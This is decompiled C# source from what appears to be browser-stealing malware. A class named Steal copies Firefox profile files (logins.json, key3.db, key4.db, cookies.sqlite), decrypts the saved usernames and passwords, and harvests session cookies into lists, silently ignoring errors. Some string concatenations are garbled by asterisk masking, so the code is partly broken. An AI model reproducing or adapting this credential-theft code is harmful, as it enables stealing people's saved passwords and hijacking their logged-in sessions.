// Token: 0x060000A7 RID: 167 RVA: 0x00007E3C File Offset: 0x0000603C public static void Lopos(string profile, byte[] privateKey, string browser_name, string profile_name) { try { string path = Steal.CreateTempCopy(Path.Combine(profile, "logins.json")); if (File.Exists(path)) { foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"])) { JsonValue jsonValue = (JsonValue)obj; Gecko4 gecko = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false))); Gecko4 gecko2 = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false))); string text = Regex.Replace(Gecko6.lTRjlt(privateKey, gecko.Objects[0].Objects[1].Objects[1].ObjectData, gecko.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(Gecko6.lTRjlt(privateKey, gecko2.Objects[0].Objects[1].Objects[1].ObjectData, gecko2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); Steal.credential.Add(string.Concat(new string[] { "URL : ", jsonValue["hostname"], Environment.NewLine, "Login: "******"Password: "******"URL : ", jsonValue["hostname"], Environment.NewLine, "Login: "******"Password: "******"Browser : ", browser_name, Environment.NewLine, "Profile : ", profile_name, Environment.NewLine, Steal.credential[i] })); } Steal.credential.Clear(); } } catch (Exception) { } }
// Token: 0x060000A0 RID: 160 RVA: 0x00007840 File Offset: 0x00005A40 public static void Creds(string profile, string browser_name, string profile_name) { try { if (File.Exists(Path.Combine(profile, "key3.db"))) { Steal.Lopos(profile, Steal.p3k(Steal.CreateTempCopy(Path.Combine(profile, "key3.db"))), browser_name, profile_name); } Steal.Lopos(profile, Steal.p4k(Steal.CreateTempCopy(Path.Combine(profile, "key4.db"))), browser_name, profile_name); } catch (Exception) { } }
// Token: 0x060000A6 RID: 166 RVA: 0x00007C9C File Offset: 0x00005E9C public static void CookMhn(string profile, string browser_name, string profile_name) { try { CNT cnt = new CNT(Steal.CreateTempCopy(Path.Combine(profile, "cookies.sqlite"))); cnt.ReadTable("moz_cookies"); for (int i = 0; i < cnt.RowLength; i++) { try { Steal.domains.Add(cnt.ParseValue(i, "host").Trim()); Steal.Cookies_Gecko.Add(string.Concat(new string[] { cnt.ParseValue(i, "host").Trim(), "\t", (cnt.ParseValue(i, "isSecure") == "1").ToString(), "\t", cnt.ParseValue(i, "path").Trim(), "\t", (cnt.ParseValue(i, "isSecure") == "1").ToString(), "\t", cnt.ParseValue(i, "expiry").Trim(), "\t", cnt.ParseValue(i, "name").Trim(), "\t", cnt.ParseValue(i, "value"), Environment.NewLine })); } catch { } } } catch (Exception) { } }